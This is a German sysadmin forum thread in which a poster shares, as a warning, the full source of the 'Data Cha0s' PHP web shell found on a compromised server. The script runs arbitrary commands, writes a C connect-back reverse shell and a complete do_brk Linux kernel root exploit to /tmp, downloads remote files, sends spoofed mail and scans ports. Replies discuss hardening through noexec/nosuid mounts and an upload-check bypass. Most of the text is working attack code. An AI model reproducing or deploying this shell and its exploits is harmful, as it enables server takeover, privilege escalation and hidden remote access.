Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Rund um die Sicherheit des Systems und die Applikationen
Post Reply
JessiA
Posts: 49
Joined: 2003-02-07 17:07
 

Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by JessiA »

Dies ist nur eine Information:

Dieser Quellcode wurde von Kiddies mittels (my)PHP-Nuke Bugs nach "/tmp" kopiert und ausgeführt. Danach konnten die Kiddies ein paar Shoutcast Streams und PsyBNC`s als wwwrun laufen lassen. Später wurde auch der Kernel Ã?berschrieben und die Platte (ge)shred(ded) :evil: .
Das Problem besteht nur bei folgender Server Konfiguration:
Suse Linux > 7.3
Apache 2.0.x
PHP 4.x.x (Safemode ON register_globals OFF)

Der Quellcode des Scripts ist wohl selbst erklärend:

Code: Select all

<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3A700;">Data Cha0s PHP Command/Safemode Exploit 4.1</DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">System Information</DIV>
<?php

// Ae galera se forem Ripar coloca pelo menos um escrito sobre o Data Cha0s 
  closelog( );

  $dono = get_current_user( );
  $ver = phpversion( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );

?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php

  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {

?>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>
<?php
  }
?>
 
  <TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa =  gethostbyname($SERVER_NAME);  echo $aaa;?></DIV></TD>
  </TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>
</TABLE>
<BR>
<?php

  if ($cmd != "") {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Command Mode Run</DIV>";

?>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV>
<?php

if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}

    if (isset($chdir)) @chdir($chdir);

    ob_start( );
      $fe("$cmd  2>&1");
      $output = ob_get_contents();
    ob_end_clean( );

?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php

    if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<?php

  }
 
  if ($safemode != "") {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Safemode Mode Run</DIV>";

?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php

    if ($dir = @opendir($chdir)) {
      echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
      echo "<TR>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
      while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
          $file1 = fileowner($file);
          $file2 = fileperms($file);
    	  echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"; 
	  // echo "<font color=green>$file1 - $file2 - $file </font><br>";
          flush( );
        }
      }

      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
	    echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; 
            // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TD>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
 
      if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
    	    echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TR>";
      echo "</TABLE>";
    }
  }

?>
<?php

  if ($shell == "write") {
    $shell = "#include <stdio.h>n" .
             "#include <sys/socket.h>n" .
             "#include <netinet/in.h>n" .
             "#include <arpa/inet.h>n" .
             "#include <netdb.h>n" .
             "int main(int argc, char **argv) {n" .
             "  char *host;n" .
             "  int port = 80;n" .
             "  int f;n" .
             "  int l;n" .
             "  int sock;n" .
             "  struct in_addr ia;n" .
             "  struct sockaddr_in sin, from;n" .
             "  struct hostent *he;n" .
             "  char msg[ ] = "Welcome to Data Cha0s Connect Back Shell\n\n"n" .
             "                "Issue \"export TERM=xterm; exec bash -i\"\n"n" .
             "                "For More Reliable Shell.\n"n" .
             "                "Issue \"unset HISTFILE; unset SAVEHIST\"\n"n" .
             "                "For Not Getting Logged.\n(;\n\n";n" .
             "  printf("Data Cha0s Connect Back Backdoor\n\n");n" .
             "  if (argc < 2 || argc > 3) {n" .
             "    printf("Usage: %s [Host] <port>\n", argv[0]);n" .
             "    return 1;n" .
             "  }n" .
             "  printf("[*] Dumping Arguments\n");n" .
             "  l = strlen(argv[1]);n" .
             "  if (l <= 0) {n" .
             "    printf("[-] Invalid Host Name\n");n" .
             "    return 1;n" .
             "  }n" .
             "  if (!(host = (char *) malloc(l))) {n" .
             "    printf("[-] Unable to Allocate Memory\n");n" .
             "    return 1;n" .
             "  }n" .
             "  strncpy(host, argv[1], l);n" .
             "  if (argc == 3) {n" .
             "    port = atoi(argv[2]);n" .
             "    if (port <= 0 || port > 65535) {n" .
             "      printf("[-] Invalid Port Number\n");n" .
             "      return 1;n" .
             "    }n" .
             "  }n" .
             "  printf("[*] Resolving Host Name\n");n" .
             "  he = gethostbyname(host);n" .
             "  if (he) {n" .
             "    memcpy(&ia.s_addr, he->h_addr, 4);n" .
             "  } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {n" .
             "    printf("[-] Unable to Resolve: %s\n", host);n" .
             "    return 1;n" .
             "  }n" .
             "  sin.sin_family = PF_INET;n" .
             "  sin.sin_addr.s_addr = ia.s_addr;n" .
             "  sin.sin_port = htons(port);n" .
             "  printf("[*] Connecting...\n");n" .
             "  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {n" .
             "    printf("[-] Socket Error\n");n" .
             "    return 1;n" .
             "  }n" .
             "  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {n" .
             "    printf("[-] Unable to Connect\n");n" .
             "    return 1;n" .
             "  }n" .
             "  printf("[*] Spawning Shell\n");n" .
             "  f = fork( );n" .
             "  if (f < 0) {n" .
             "    printf("[-] Unable to Fork\n");n" .
             "    return 1;n" .
             "  } else if (!f) {n" .
             "    write(sock, msg, sizeof(msg));n" .
             "    dup2(sock, 0);n" .
             "    dup2(sock, 1);n" .
             "    dup2(sock, 2);n" .
             "    execl("/bin/sh", "shell", NULL);n" .
             "    close(sock);n" .
             "    return 0;n" .
             "  }n" .
             "  printf("[*] Detached\n\n");n" .
             "  return 0;n" .
             "}n";

    $fp = fopen("/tmp/dc-connectback.c", "w");
    $ok = fwrite($fp, $shell);

    if (!empty($ok)) {
      echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Connect Back Shell Was Successfuly Copied</DIV>";
    } else {
      echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Copying Shell</DIV>";
    }
  }

  if ($kernel == "write") {
    $kernel = "/*n" .
              " * hatorihanzo.cn" .
              " * Linux kernel do_brk vma overflow exploit.n" .
              " *n" .
              " * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>n" .
              " *n" .
              " * Further research and exploit development byn" .
              " * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.n" .
              " *n" .
              " * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.n" .
              " *n" .
              " * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USEn" .
              " * OF PRESENTED CODE IS STRICTLY PROHIBITED.n" .
              "*/n" .
              "#define _GNU_SOURCEn" .
              "#include <stdio.h>n" .
              "#include <stdlib.h>n" .
              "#include <errno.h>n" .
              "#include <string.h>n" .
              "#include <unistd.h>n" .
              "#include <fcntl.h>n" .
              "#include <signal.h>n" .
              "#include <paths.h>n" .
              "#include <grp.h>n" .
              "#include <setjmp.h>n" .
              "#include <stdint.h>n" .
              "#include <sys/mman.h>n" .
              "#include <sys/ipc.h>n" .
              "#include <sys/shm.h>n" .
              "#include <sys/ucontext.h>n" .
              "#include <sys/wait.h>n" .
              "#include <asm/ldt.h>n" .
              "#include <asm/page.h>n" .
              "#include <asm/segment.h>n" .
              "#include <linux/unistd.h>n" .
              "#include <linux/linkage.h>n" .
              "#define kB   * 1024n" .
              "#define MB   * 1024 kBn" .
              "#define GB   * 1024 MBn" .
              "#define MAGIC             0xdefaced /* I should've patented this number -cliph */n" .
              "#define ENTRY_MAGIC 0n" .
              "#define ENTRY_GATE 2n" .
              "#define ENTRY_CS    4n" .
              "#define ENTRY_DS    6n" .
              "#define CS          ((ENTRY_CS << 2) | 4)n" .
              "#define DS          ((ENTRY_DS << 2) | 4)n" .
              "#define GATE        ((ENTRY_GATE << 2) | 4 | 3)n" .
              "#define LDT_PAGES   ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)n" .
              "#define TOP_ADDR    0xFFFFE000Un" .
              "/* configuration */n" .
              "unsigned     task_size;n" .
              "unsigned     page;n" .
              "uid_t        uid;n" .
              "unsigned     address;n" .
              "int dontexit = 0;n" .
              "void fatal(char * msg)n" .
              "{n" .
              "      fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));n" .
              "      if (dontexit) {n" .
              "             fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");n" .
              "             kill(getpid(), SIGSTOP);n" .
              "             for (;;) pause();n" .
              "      }n" .
              "      exit(EXIT_FAILURE);n" .
              "}n" .
              "void configure(void)n" .
              "{n" .
              "      unsigned val;n" .
              "      task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;n" .
              "      uid = getuid();n" .
              "}n" .
              "void expand(void)n" .
              "{n" .
              "      unsigned top = (unsigned) sbrk(0);n" .
              "      unsigned limit = address + PAGE_SIZE;n" .
              "      do {n" .
              "             if (sbrk(PAGE_SIZE) == NULL)n" .
              "                   fatal("Kernel seems not to be vulnerable");n" .
              "             dontexit = 1;n" .
              "             top += PAGE_SIZE;n" .
              "      } while (top < limit);n" .
              "}n" .
              "jmp_buf jmp;n" .
              "#define MAP_NOPAGE 1n" .
              "#define MAP_ISPAGE 2n" .
              "void sigsegv(int signo, siginfo_t * si, void * ptr)n" .
              "{n" .
              "      struct ucontext * uc = (struct ucontext *) ptr;n" .
              "      int error_code = uc->uc_mcontext.gregs[REG_ERR];n" .
              "      (void)signo;n" .
              "      (void)si;n" .
              "      error_code = MAP_NOPAGE + (error_code & 1);n" .
              "      longjmp(jmp, error_code);n" .
              "}n" .
              "void prepare(void)n" .
              "{n" .
              "      struct sigaction sa;n" .
              "      sa.sa_sigaction = sigsegv;n" .
              "      sa.sa_flags = SA_SIGINFO | SA_NOMASK;n" .
              "      sigemptyset(&sa.sa_mask);n" .
              "      sigaction(SIGSEGV, &sa, NULL);n" .
              "}n" .
              "int testaddr(unsigned addr)n" .
              "{n" .
              "      int val;n" .
              "      val = setjmp(jmp);n" .
              "      if (val == 0) {n" .
              "             asm ("verr (%%eax)" : : "a" (addr));n" .
              "             return MAP_ISPAGE;n" .
              "      }n" .
              "      return val;n" .
              "}n" .
              "#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)n" .
              "#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))n" .
              "#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)n" .
              "void map(unsigned * map)n" .
              "{n" .
              "      unsigned addr = task_size;n" .
              "      unsigned bit = 1;n" .
              "      prepare();n" .
              "      while (addr < TOP_ADDR) {n" .
              "             if (testaddr(addr) == MAP_ISPAGE)n" .
              "                   *map |= bit;n" .
              "             addr += PAGE_SIZE;n" .
              "             next(map, bit);n" .
              "      }n" .
              "      signal(SIGSEGV, SIG_DFL);n" .
              "}n" .
              "void find(unsigned * m)n" .
              "{n" .
              "      unsigned addr = task_size;n" .
              "      unsigned bit = 1;n" .
              "      unsigned count;n" .
              "      unsigned tmp;n" .
              "      prepare();n" .
              "      tmp = address = count = 0U;n" .
              "      while (addr < TOP_ADDR) {n" .
              "             int val = testaddr(addr);n" .
              "             if (val == MAP_ISPAGE && (*m & bit) == 0) {n" .
              "                   if (!tmp) tmp = addr;n" .
              "                   count++;n" .
              "             } else {n" .
              "                   if (tmp && count == LDT_PAGES) {n" .
              "                          errno = EAGAIN;n" .
              "                          if (address)n" .
              "                                fatal("double allocation\n");n" .
              "                          address = tmp;n" .
              "                   }n" .
              "                   tmp = count = 0U;n" .
              "             }n" .
              "             addr += PAGE_SIZE;n" .
              "             next(m, bit);n" .
              "      }n" .
              "      signal(SIGSEGV, SIG_DFL);n" .
              "      if (address)n" .
              "             return;n" .
              "      errno = ENOTSUP;n" .
              "      fatal("Unable to determine kernel address");n" .
              "}n" .
              "int modify_ldt(int, void *, unsigned);n" .
              "void ldt(unsigned * m)n" .
              "{n" .
              "      struct modify_ldt_ldt_s l;n" .
              "      map(m);n" .
              "      memset(&l, 0, sizeof(l));n" .
              "      l.entry_number = LDT_ENTRIES - 1;n" .
              "      l.seg_32bit = 1;n" .
              "      l.base_addr = MAGIC >> 16;n" .
              "      l.limit = MAGIC & 0xffff;n" .
              "      if (modify_ldt(1, &l, sizeof(l)) == -1)n" .
              "             fatal("Unable to set up LDT");n" .
              "      l.entry_number = ENTRY_MAGIC / 2;n" .
              "      if (modify_ldt(1, &l, sizeof(l)) == -1)n" .
              "             fatal("Unable to set up LDT");n" .
              "      find(m);n" .
              "}n" .
              "asmlinkage void kernel(unsigned * task)n" .
              "{n" .
              "      unsigned * addr = task;n" .
              "      /* looking for uids */n" .
              "      while (addr[0] != uid || addr[1] != uid ||n" .
              "             addr[2] != uid || addr[3] != uid)n" .
              "             addr++;n" .
              "      addr[0] = addr[1] = addr[2] = addr[3] = 0;    /* uids */n" .
              "      addr[4] = addr[5] = addr[6] = addr[7] = 0;    /* uids */n" .
              "      addr[8] = 0;n" .
              "      /* looking for vma */n" .
              "      for (addr = (unsigned *) task_size; addr; addr++) {n" .
              "             if (addr[0] >= task_size && addr[1] < task_size &&n" .
              "                 addr[2] == address && addr[3] >= task_size) {n" .
              "                   addr[2] = task_size - PAGE_SIZE;n" .
              "                   addr = (unsigned *) addr[3];n" .
              "                   addr[1] = task_size - PAGE_SIZE;n" .
              "                   addr[2] = task_size;n" .
              "                   break;n" .
              "             }n" .
              "      }n" .
              "}n" .
              "void kcode(void);n" .
              "#define __str(s) #sn" .
              "#define str(s) __str(s)n" .
              "void __kcode(void)n" .
              "{n" .
              "      asm(n" .
              "             "kcode:                                \n"n" .
              "             "     pusha                            \n"n" .
              "             "     pushl %es                        \n"n" .
              "             "     pushl %ds                        \n"n" .
              "             "     movl   $(" str(DS) ") ,%edx      \n"n" .
              "             "     movl   %edx,%es                  \n"n" .
              "             "     movl   %edx,%ds                  \n"n" .
              "             "     movl   $0xffffe000,%eax          \n"n" .
              "             "     andl   %esp,%eax                 \n"n" .
              "             "     pushl %eax                       \n"n" .
              "             "     call   kernel                    \n"n" .
              "             "     addl   $4, %esp                  \n"n" .
              "             "     popl   %ds                       \n"n" .
              "             "     popl   %es                       \n"n" .
              "             "     popa                             \n"n" .
              "             "     lret                             \n"n" .
              "      );n" .
              "}n" .
              "void knockout(void)n" .
              "{n" .
              "      unsigned * addr = (unsigned *) address;n" .
              "      if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)n" .
              "             fatal("Unable to change page protection");n" .
              "      errno = ESRCH;n" .
              "      if (addr[ENTRY_MAGIC] != MAGIC)n" .
              "             fatal("Invalid LDT entry");n" .
              "      /* setting call gate and privileged descriptors */n" .
              "      addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);n" .
              "      addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;n" .
              "      addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */n" .
              "      addr[ENTRY_CS+1] = 0x00cf9a00U;n" .
              "      addr[ENTRY_DS+0] = 0x0000ffffU; /* user   4GB code at 0x00000000 */n" .
              "      addr[ENTRY_DS+1] = 0x00cf9200U;n" .
              "      prepare();n" .
              "      if (setjmp(jmp) != 0) {n" .
              "             errno = ENOEXEC;n" .
              "             fatal("Unable to jump to call gate");n" .
              "      }n" .
              "      asm("lcall $" str(GATE) ",$0x0");      /* this is it */n" .
              "}n" .
              "void shell(void)n" .
              "{n" .
              "      char * argv[] = { _PATH_BSHELL, NULL };n" .
              "      execve(_PATH_BSHELL, argv, environ);n" .
              "      fatal("Unable to spawn shell\n");n" .
              "}n" .
              "void remap(void)n" .
              "{n" .
              "      static char stack[8 MB];  /* new stack */n" .
              "      static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };n" .
              "      static unsigned * m;n" .
              "      static unsigned b;n" .
              "      m = (unsigned *) sbrk(map_size);n" .
              "      if (!m)n" .
              "             fatal("Unable to allocate memory");n" .
              "      environ = envp;n" .
              "      asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));n" .
              "      b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;n" .
              "      if (munmap((void*)b, task_size - b) == -1)n" .
              "             fatal("Unable to unmap stack");n" .
              "      while (b < task_size) {n" .
              "             if (sbrk(PAGE_SIZE) == NULL)n" .
              "                   fatal("Unable to expand BSS");n" .
              "             b += PAGE_SIZE;n" .
              "      }n" .
              "      ldt(m);n" .
              "      expand();n" .
              "      knockout();n" .
              "      shell();n" .
              "}n" .
              "int main(void)n" .
              "{n" .
              "      configure();n" .
              "      remap();n" .
              "      return EXIT_FAILURE;n" .
              "}n";

    $fp = fopen("/tmp/xpl_brk.c", "w");
    $ok = fwrite($fp, $kernel);
    
    if (!empty($ok)) {
      echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
    } else {
      echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
    }
  }

?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php

// Function to Visualize Source Code files 
if ($see != "") {
  $fp = fopen($see, "r"); 
  $read = fread($fp, 30000); 
  echo "============== $see ================<br>";
  echo "<textarea name=textarea cols=80 rows=15>"; 
  echo "$read"; 
  Echo "</textarea>"; 
}

// Function to Dowload Local Xploite Binary COde or Source Code

if ($dx != "") {
  $fp = @fopen("$hostxpl",r);
  $fp2 = @fopen("$storage","w");
  fwrite($fp2, "");
  $fp1 = @fopen("$storage","a+");
  for (;;) {
    $read = @fread($fp, 4096);
    if (empty($read)) break;
    $ok = fwrite($fp1, $read);
    
    if (empty($ok)) {
      echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Uploading File</DIV>";
      break;
    }
  }

  if (!empty($ok)) {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] File Was Successfuly Uploaded</DIV>";
  }
}

flush( );

// Function to visulize Format Color Source Code PHP

if ($sfc != "") {
  $showcode = show_source("$sfc");
  echo "<font size=4> $showcode </font>";
}

// Function to Visualize all infomation files
if ($fileinfo != "") {
  $infofile = stat("$fileanalize");
  while (list($info, $value) = each ($infofile)) {
    echo" Info: $info  Value: $value <br>";
  }
}

// Function to send fake mail
if ($fake == 1) {
  echo "<FORM METHOD=POST ACTION="$SCRIPT_NAME?$QUERY_STRING&send=1">";
  echo "Your Fake Mail <INPUT TYPE="" NAME="yourmail"><br>";
  echo "Your Cavy:<INPUT TYPE="" NAME="cavy"><br>";
  echo "Suject: <INPUT TYPE="text" NAME="subject"><br>";
  echo "Text: <TEXTAREA NAME="body" ROWS="" COLS=""></TEXTAREA><br>";
  echo "<INPUT TYPE="hidden" NAME="send" VALUE="1"><br>";
  echo "<INPUT TYPE="submit" VALUE="Send Fake Mail">";
  echo "</FORM>";
}

if($send == 1) {
  if (mail($cavy, $subject, $body, "From: $yourmailrn")) {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Mail Send Sucessfuly</DIV>";
  } else {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Sending Mail</DIV>";
  }
}

if ($portscan != "") {
  $port = array ("21","22","23","25","110",);
  $values = count($port);
  for ($cont=0; $cont < $values; $cont++) {
    @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
    $service = Getservbyport($port[$cont],"tcp");
    @$get = fgets($sock[$cont]);
    echo "<br>Port: $port[$cont] - Service: $service<br><br>";
    echo "<br>Banner: $get <br><br>";
    flush();
  }
}

?> 
</font></pre> 
Tipp an alle: Blockt alle Hostanamen die auf *.br und *.pl und *.cz enden. Da diese ganzen Scripte über Proxys aus den dazugehöhrigen ländern gefahren werden.
oxygen
Posts: 2138
Joined: 2002-12-15 00:10
Location: Bergheim
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by oxygen »

Wer PHPNuke einsetzt ist selber schuld wenn sowas passiert.
/tmp als noexec,nosuid mounten und gut ist.
rouven
Posts: 58
Joined: 2002-10-10 15:27
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by rouven »

ich hab zwar kein phpnunke.

aber wie genau meinst du
/tmp als noexec,nosuid
yt
Posts: 103
Joined: 2003-10-13 23:04
Location: Duisburg
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by yt »

rouven wrote:ich hab zwar kein phpnunke.

aber wie genau meinst du
/tmp als noexec,nosuid
Das Verzeichnis /tmp sollte man auf eine eigene Partition packen und mit noexec und nosuid mounten. Ist bei vorinstallierten Servern nicht immer ganz einfach umzusetzen.
at120
Posts: 31
Joined: 2003-05-24 21:18
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by at120 »

kann aber was ich weiß leicht umgangen werden und ist nur bei ext2 system nutzbar.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by Joe User »

Ein nodev sollte man ebenfalls setzen, gleiches gilt auch für /var/tmp...
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
JessiA
Posts: 49
Joined: 2003-02-07 17:07
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by JessiA »

Wer PHPNuke einsetzt ist selber schuld wenn sowas passiert.
Das geht auch über jedes Belibige andere PHP-Script das was nach /tmp schreiben will.
oxygen
Posts: 2138
Joined: 2002-12-15 00:10
Location: Bergheim
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by oxygen »

YT wrote: Das Verzeichnis /tmp sollte man auf eine eigene Partition packen und mit noexec und nosuid mounten. Ist bei vorinstallierten Servern nicht immer ganz einfach umzusetzen.
Doch ist es. man loop. Hier im Forum stand sogar mal ne Anleitung.
caraoge wrote:
Wer PHPNuke einsetzt ist selber schuld wenn sowas passiert.
Das geht auch über jedes Belibige andere PHP-Script das was nach /tmp schreiben will.
Mal davon abgesehen, dass ich Scripts die sich nicht an den upload_tmp_dir halten, bzw. wo man das temponäre Verzeichnis nicht einstellen kann, sowieso nicht einsetzten würde, geht das nicht bei jedem PHP-Script das /tmp benutzt.
Es darf a) keine Upload Check haben, z.B. bei einer Galerie ob auch wirklich ein jpeg/gif hochgeladen wird.
b) muss es noch eine Sicherheitslücke haben mit der man das Script ausführen kann.
c) Sollte noch ein local root exploit möglich sein, z.b. mremap.
JessiA
Posts: 49
Joined: 2003-02-07 17:07
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by JessiA »

z.B. bei einer Galerie ob auch wirklich ein jpeg/gif hochgeladen wird.
Das kann man ja umgehen. du benennst einfach dein Script um z.b. in bla.php.gif und führst es dann z.b. durch anschauen des "Bildes" aus. Da keine gif oder jpeg header gefunden werden wird der darin enthaltene Code dargestellt. Da díeser ja PHP enthält wird er auch durch den interpreter gejagt.
oxygen
Posts: 2138
Joined: 2002-12-15 00:10
Location: Bergheim
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by oxygen »

So einen unsinn habe ich selten gehört....
JessiA
Posts: 49
Joined: 2003-02-07 17:07
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by JessiA »

Schau dir die Skripte von http://www.a1ts.tk/ an (auch den ACEx) dann weisst du von was ich spreche. Die Skripte sind teilweise in Brasilianisch aber die Quellcodes lassen sich ja (bei exe Dateien) etnschlüsseln und die "normalen" Skripte sind selbsterklärend.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by Joe User »

*NIX != Windows
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
rootmaster
Posts: 483
Joined: 2002-04-28 13:30
Location: Hannover
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by rootmaster »

at120 wrote:kann aber was ich weiß leicht umgangen werden und ist nur bei ext2 system nutzbar.
seit 2.6 und - wie imho der captain in einem anderen thread erwähnte - auch seit dem neuen 2.4er sind noexec gemountete partitionen auch nicht durch ldd oder einen vorgeschalteten interpreter zu "überlisten" ;)
http://linux.bkbits.net:8080/linux-2.4/cset@1.1267.1.85

"back to the roots"
gamecrash
Posts: 339
Joined: 2002-05-27 10:52
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by gamecrash »

caraoge wrote:
z.B. bei einer Galerie ob auch wirklich ein jpeg/gif hochgeladen wird.
Das kann man ja umgehen. du benennst einfach dein Script um z.b. in bla.php.gif und führst es dann z.b. durch anschauen des "Bildes" aus. Da keine gif oder jpeg header gefunden werden wird der darin enthaltene Code dargestellt. Da díeser ja PHP enthält wird er auch durch den interpreter gejagt.
Also wenn Du das bei Dir tatsächlich so reproduzieren kannst, dann hast Du ein sehr interessant konfiguriertes System...
yt
Posts: 103
Joined: 2003-10-13 23:04
Location: Duisburg
 

Re: Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode

Post by yt »

øxygen wrote:
YT wrote: Das Verzeichnis /tmp sollte man auf eine eigene Partition packen und mit noexec und nosuid mounten. Ist bei vorinstallierten Servern nicht immer ganz einfach umzusetzen.
Doch ist es. man loop. Hier im Forum stand sogar mal ne Anleitung.
caraoge wrote:
Wer PHPNuke einsetzt ist selber schuld wenn sowas passiert.
Das geht auch über jedes Belibige andere PHP-Script das was nach /tmp schreiben will.
Interessant: http://www.rootforum.org/forum/viewtopi ... a5c494944c

Das hast du wahrscheinlich gemeint, oder?
Post Reply